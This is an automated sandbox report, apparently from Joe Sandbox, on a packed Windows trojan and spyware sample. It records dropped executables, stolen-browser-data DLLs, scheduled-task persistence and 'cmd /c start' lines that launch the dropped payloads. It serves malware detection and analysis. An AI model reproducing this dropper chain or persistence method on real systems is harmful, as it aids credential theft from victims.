Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: .idata
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: explortu.exe.7.dr	Static PE information: section name:
Source: explortu.exe.7.dr	Static PE information: section name: .idata
Source: explortu.exe.7.dr	Static PE information: section name:

PE file has nameless sections

Source: tAa6xNsucX.exe	Static PE information: section name:
Source: tAa6xNsucX.exe	Static PE information: section name:
Source: tAa6xNsucX.exe	Static PE information: section name:
Source: tAa6xNsucX.exe	Static PE information: section name:
Source: tAa6xNsucX.exe	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C37B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C37B700
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C37B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C37B8C0
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C37B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C37B910
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C31F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C31F280

Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe

File created: C:\Windows\Tasks\explortu.job

Jump to behavior

Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C3135A0	0_2_6C3135A0
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C38542B	0_2_6C38542B
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C355C10	0_2_6C355C10
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C362C10	0_2_6C362C10
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C38AC00	0_2_6C38AC00
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C38545C	0_2_6C38545C
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C325440	0_2_6C325440
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C3734A0	0_2_6C3734A0
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C37C4A0	0_2_6C37C4A0
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C326C80	0_2_6C326C80
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C356CF0	0_2_6C356CF0
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C31D4E0	0_2_6C31D4E0
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C33D4D0	0_2_6C33D4D0
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C3264C0	0_2_6C3264C0
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C33ED10	0_2_6C33ED10
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C340512	0_2_6C340512
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C32FD00	0_2_6C32FD00
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C3785F0	0_2_6C3785F0
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C350DD0	0_2_6C350DD0
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C379E30	0_2_6C379E30
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C357E10	0_2_6C357E10
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C365600	0_2_6C365600
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C31C670	0_2_6C31C670
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C386E63	0_2_6C386E63
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C339E50	0_2_6C339E50
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C353E50	0_2_6C353E50
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C334640	0_2_6C334640
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C362E4E	0_2_6C362E4E
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C374EA0	0_2_6C374EA0
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C335E90	0_2_6C335E90
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C37E680	0_2_6C37E680
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C31BEF0	0_2_6C31BEF0
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C32FEF0	0_2_6C32FEF0
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C3876E3	0_2_6C3876E3
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C357710	0_2_6C357710
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C329F00	0_2_6C329F00
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C3677A0	0_2_6C3677A0
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C346FF0	0_2_6C346FF0
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C31DFE0	0_2_6C31DFE0
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C35B820	0_2_6C35B820
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C364820	0_2_6C364820
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C327810	0_2_6C327810
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C35F070	0_2_6C35F070
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C338850	0_2_6C338850
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C33D850	0_2_6C33D850
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C3460A0	0_2_6C3460A0
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C33C0E0	0_2_6C33C0E0
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C3558E0	0_2_6C3558E0
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C3850C7	0_2_6C3850C7
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C36B970	0_2_6C36B970
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C38B170	0_2_6C38B170
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C32D960	0_2_6C32D960
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C33A940	0_2_6C33A940
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C34D9B0	0_2_6C34D9B0
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C31C9A0	0_2_6C31C9A0
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C355190	0_2_6C355190
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C372990	0_2_6C372990
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C359A60	0_2_6C359A60
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C32CAB0	0_2_6C32CAB0
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C382AB0	0_2_6C382AB0
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C3122A0	0_2_6C3122A0
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C344AA0	0_2_6C344AA0
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C38BA90	0_2_6C38BA90
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C331AF0	0_2_6C331AF0
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C35E2F0	0_2_6C35E2F0
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C358AC0	0_2_6C358AC0
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C35D320	0_2_6C35D320
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C32C370	0_2_6C32C370
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C315340	0_2_6C315340
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C31F380	0_2_6C31F380
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: 0_2_6C3853C8	0_2_6C3853C8
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Code function: 9_2_00362818	9_2_00362818
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Code function: 9_2_00324CD0	9_2_00324CD0
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Code function: 9_2_00357533	9_2_00357533
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Code function: 9_2_00366E0B	9_2_00366E0B
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Code function: 9_2_003666B9	9_2_003666B9
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Code function: 9_2_00324AD0	9_2_00324AD0
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Code function: 9_2_00367ED0	9_2_00367ED0
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Code function: 9_2_00366F2B	9_2_00366F2B
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Code function: 9_2_00362380	9_2_00362380

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: String function: 6C34CBE8 appears 134 times
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Code function: String function: 6C3594D0 appears 90 times

Source: tAa6xNsucX.exe, 00000000.00000002.2341418867.000000006C595000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs tAa6xNsucX.exe
Source: tAa6xNsucX.exe, 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs tAa6xNsucX.exe

Source: tAa6xNsucX.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: tAa6xNsucX.exe	Static PE information: Section: ZLIB complexity 0.9995712652439024
Source: tAa6xNsucX.exe	Static PE information: Section: ZLIB complexity 0.99383544921875
Source: tAa6xNsucX.exe	Static PE information: Section: ZLIB complexity 0.989990234375
Source: HIIEBAFCBK.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981756524725275
Source: HIIEBAFCBK.exe.0.dr	Static PE information: Section: loawlfyy ZLIB complexity 0.9944898592715232
Source: amadka[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981756524725275
Source: amadka[1].exe.0.dr	Static PE information: Section: loawlfyy ZLIB complexity 0.9944898592715232
Source: explortu.exe.7.dr	Static PE information: Section: ZLIB complexity 0.9981756524725275
Source: explortu.exe.7.dr	Static PE information: Section: loawlfyy ZLIB complexity 0.9944898592715232

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@18/28@0/3

Source: C:\Users\user\Desktop\tAa6xNsucX.exe

Code function: 0_2_6C377030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C377030

Source: C:\Users\user\Desktop\tAa6xNsucX.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5692:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5844:120:WilError_03

Source: C:\Users\user\Desktop\tAa6xNsucX.exe

File created: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe

Jump to behavior

Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: C:\Users\user\Desktop\tAa6xNsucX.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\tAa6xNsucX.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: tAa6xNsucX.exe, 00000000.00000002.2340623071.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, tAa6xNsucX.exe, 00000000.00000002.2327877769.000000001CCFB000.00000004.00000020.00020000.00000000.sdmp, tAa6xNsucX.exe, 00000000.00000002.2341269322.000000006C54F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: tAa6xNsucX.exe, 00000000.00000002.2340623071.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, tAa6xNsucX.exe, 00000000.00000002.2327877769.000000001CCFB000.00000004.00000020.00020000.00000000.sdmp, tAa6xNsucX.exe, 00000000.00000002.2341269322.000000006C54F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: tAa6xNsucX.exe, 00000000.00000002.2340623071.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, tAa6xNsucX.exe, 00000000.00000002.2327877769.000000001CCFB000.00000004.00000020.00020000.00000000.sdmp, tAa6xNsucX.exe, 00000000.00000002.2341269322.000000006C54F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: tAa6xNsucX.exe, 00000000.00000002.2340623071.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, tAa6xNsucX.exe, 00000000.00000002.2327877769.000000001CCFB000.00000004.00000020.00020000.00000000.sdmp, tAa6xNsucX.exe, 00000000.00000002.2341269322.000000006C54F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: tAa6xNsucX.exe, 00000000.00000002.2340623071.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, tAa6xNsucX.exe, 00000000.00000002.2327877769.000000001CCFB000.00000004.00000020.00020000.00000000.sdmp, tAa6xNsucX.exe, 00000000.00000002.2341269322.000000006C54F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: tAa6xNsucX.exe, 00000000.00000002.2340623071.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, tAa6xNsucX.exe, 00000000.00000002.2327877769.000000001CCFB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: tAa6xNsucX.exe, 00000000.00000002.2340623071.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, tAa6xNsucX.exe, 00000000.00000002.2327877769.000000001CCFB000.00000004.00000020.00020000.00000000.sdmp, tAa6xNsucX.exe, 00000000.00000002.2341269322.000000006C54F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: tAa6xNsucX.exe, 00000000.00000003.2176181618.0000000000841000.00000004.00000020.00020000.00000000.sdmp, tAa6xNsucX.exe, 00000000.00000003.2197743227.0000000022DD1000.00000004.00000020.00020000.00000000.sdmp, FBGHCGCAEBFIJKFIDBGH.0.dr, FHDAEHDAKECGCAKFCFIJ.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: tAa6xNsucX.exe, 00000000.00000002.2340623071.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, tAa6xNsucX.exe, 00000000.00000002.2327877769.000000001CCFB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: tAa6xNsucX.exe, 00000000.00000002.2340623071.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, tAa6xNsucX.exe, 00000000.00000002.2327877769.000000001CCFB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: tAa6xNsucX.exe	Virustotal: Detection: 43%
Source: tAa6xNsucX.exe	ReversingLabs: Detection: 42%

Source: HIIEBAFCBK.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explortu.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explortu.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explortu.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\tAa6xNsucX.exe

File read: C:\Users\user\Desktop\tAa6xNsucX.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\tAa6xNsucX.exe "C:\Users\user\Desktop\tAa6xNsucX.exe"
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\HCAAEGIJKE.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe "C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe"
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Process created: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe "C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe"	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\HCAAEGIJKE.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe "C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Process created: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe "C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe"	Jump to behavior

Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
